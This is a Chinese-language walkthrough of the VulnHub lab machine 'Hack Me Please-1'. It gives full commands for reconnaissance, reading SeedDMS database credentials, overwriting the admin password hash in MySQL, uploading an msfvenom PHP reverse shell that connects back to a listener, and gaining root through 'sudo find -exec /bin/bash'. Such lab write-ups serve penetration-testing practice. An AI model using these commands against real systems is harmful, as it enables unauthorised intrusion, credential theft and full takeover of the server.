『vulnhub系列』Hack Me Please-1
『vulnhub系列』Hack Me Please-1
下载地址:
1 | https://www.vulnhub.com/entry/hack-me-please-1,731/ |
信息搜集:
使用nmap进行探测存活主机,发现主机开启了80端口和3306端口
1 | nmap 192.168.0.* |

访问80端口的web服务

使用dirsearch扫描目录,但是并没有可以访问的页面
1 | dirsearch -u "http://192.168.0.132/" |

在main.js发现提示,有一个目录/seeddms51x/seeddms-5.1.22/

访问一下是一个登录页面

现在我们扫描这个目录
1 | dirsearch -u "http://192.168.0.132/seeddms51x/seeddms-5.1.22/" |

访问/install页面

发现install不了
1 | http://192.168.0.132/seeddms51x/seeddms-5.1.22/install/install.php |

说是要在conf目录下创建ENABLE_INSTALL_TOOL ,但是我们好像并不知道这个conf目录在哪里
可以确定当前seeddms51x/seeddms-5.1.22/ 目录下没有。现在我们向前每一级文件都爆破一下。
1 | dirsearch -u "http://192.168.0.132/seeddms51x/" |
我们现在几乎可以确定conf就在/seeddms51x/这个目录文件下了

然后我们继续访问conf/ENABLE_INSTALL_TOOL和conf,发现都无法访问

继续爆破一下吧,终于发现了settings.xml
1 | dirsearch -u "http://192.168.0.132/seeddms51x/conf" |

访问一下,我们找到了数据库的用户名和密码都为:seeddms

我们登录mysql
1 | mysql -h 192.168.0.132 -u seeddms -p |

1 | show database; #查看数据库 |

发现users表
1 | use seeddms; #使用seeddms数据库 |

查看users表的内容发现用户名和密码
+-------------+---------------------+--------------------+-----------------+ | Employee_id | Employee_first_name | Employee_last_name | Employee_passwd | +-------------+---------------------+--------------------+-----------------+ | 1 | saket | saurav | Saket@#$1337 | +-------------+---------------------+--------------------+-----------------+
1 | select * from users; #查看users所有内容 |

使用ID和密码登录

登录失败,还有个表是tblUsers,我们查看一下,里面有一个admin和一个md5加密的密码
1 | select * from tblUsers; |

我们可以覆盖一下,首先使用python生成一个md5值21232f297a57a5a743894a0e4a801fc3
1 | python3 -c 'import hashlib;print(hashlib.md5("admin".encode()).hexdigest())' |

修改数据库条目,修改成功
1 | update tblUsers set pwd='21232f297a57a5a743894a0e4a801fc3' where login='admin'; |

使用我们修改后的密码admin和用户名admin登录,登陆成功

漏洞利用:
我们发现添加文件选项是可以上传文件的,我们上传一个msfvenom生成的反弹shell
1 | msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.129 lport=4444 -o re_shell.php |

我们此时搜一下seeddms的漏洞

看到一个远程命令执行,看一下如何实现
1 | Step 1: Login to the application and under any folder add a document. |
步骤1,2:就是登录,然后上传一个文档,我们已经上传完成了例子用的是一个webshell,我们上传的是反弹shell,我们需要找到上传文件的位置
步骤3:查看文档的id,我们通过刚刚上传的反弹php序号为12

步骤4:访问/data/1048576/"document_id"/1.php 页面,在那之前先开启msf的监听,然后访问1.php

反弹成功

提升权限:
我们查看/home页面发现存在用户saket
我们之前有在数据库中发现过saket,他的密码是Saket@#$1337 我们登陆试试,登录成功
1 | su saket |

使用sudo -l 查看此用户可以以root权限执行的命令,发现是(ALL : ALL) ALL

那就自由发挥吧,这里使用find提权,成功
1 | sudo find /home -exec /bin/bash \; |
